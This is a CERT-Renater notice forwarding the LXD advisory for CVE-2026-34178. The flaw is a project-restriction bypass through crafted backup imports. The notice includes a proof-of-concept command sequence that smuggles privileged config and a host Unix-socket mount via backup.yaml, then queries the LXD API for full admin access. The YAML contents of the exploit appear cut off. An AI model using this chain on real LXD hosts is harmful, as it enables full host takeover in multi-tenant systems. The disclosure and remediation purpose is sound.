Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2026/VULN398 _____________________________________________________________________ DATE : 16/04/2026 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running lxd versions prior to 5.0.7, 5.21.5, 6.8. ===================================================================== https://github.com/canonical/lxd/security/advisories/GHSA-q96j-3fmm-7fv4 _____________________________________________________________________ Importing a crafted backup leads to project restriction bypass Critical tomponline published GHSA-q96j-3fmm-7fv4 Apr 9, 2026 Package lxd Affected versions >= 4.12 Patched versions 5.0.7, 5.21.5, 6.8 Description Summary LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement. Details LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project. The backup import path has two distinct configuration sources within a single tar archive: backup/index.yaml - A quick-access metadata file read by backup.GetInfo() at backup/backup_info.go:68. This is the config checked against project restrictions. backup/container/backup.yaml - The full instance configuration extracted to the storage volume and used for actual instance creation at api_internal.go:784. The vulnerability exists because: AllowInstanceCreation() at instances_post.go:885 validates project restrictions using only bInfo.Config from index.yaml. The tar contents (including backup/container/backup.yaml) are extracted to the storage volume at generic_vfs.go:952 via unpackVolume(). UpdateInstanceConfig() at backup_config_utils.go:236 reads backup.yaml from storage but only syncs Name, Project, pool info, and volume UUIDs - it does not overwrite Instance.Config or Instance.Devices. internalImportFromBackup() at api_internal.go:784 reads backup.yaml from the storage mount path (not index.yaml) to build the instance database record. instance.CreateInternal() at api_internal.go:946 creates the instance using the config from backup.yaml. CreateInternal calls ValidConfig which validates config key format only, not project restriction compliance. Proof of Concept Environment setup (server admin) These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets. # Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true # Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project # Create a group with instance management permissions in therestricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project can_view lxc auth group permission add poc-group project restricted-project can_create_instances lxc auth group permission add poc-group project restricted-project can_view_instances lxc auth group permission add poc-group project restricted-project can_operate_instances # Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group # The attacker uses it to add the remote: # lxc remote add target-lxd After this setup, the attacker can create normal unprivileged instances in restricted-project but should not be able to create privileged containers, use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions. Steps 1. Create an instance backup archive locally The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step. # Create the backup directory structure mkdir -p backup/container # Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/ # Create backup index.yaml cat >backup/index.yaml < backup/container/backup.yaml < # Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project # Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true # Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project # Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project # Output contains: # security.privileged: "true" 3. Escalate to full LXD admin Start the container and use the LXD Unix socket, which was bind-mounted from the host via raw.lxc. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects. lxc start target-lxd:escalated-instance --project restricted-project # Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects # From here the attacker has full control: create admin certs, access # all projects, modify any instance, or mount the host filesystem. Impact The exploit allows full host compromise from within a restricted project. The requirement is that the user has can_view_instances, can_create_instances and can_operate_instances on the project -- standard permissions for any tenant expected to manage instances. Possible remediation Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In api_internal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946): // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), } return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) } Patches LXD Series Interim release 6 https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 5.21 https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 5.0 https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 Severity Critical 9.1/ 10 CVSS v3 base metrics Attack vector Network Attack complexity Low Privileges required High User interaction None Scope Changed Confidentiality High Integrity High Availability High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CVE ID CVE-2026-34178 Weaknesses No CWEs Credits @mpurg mpurg Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================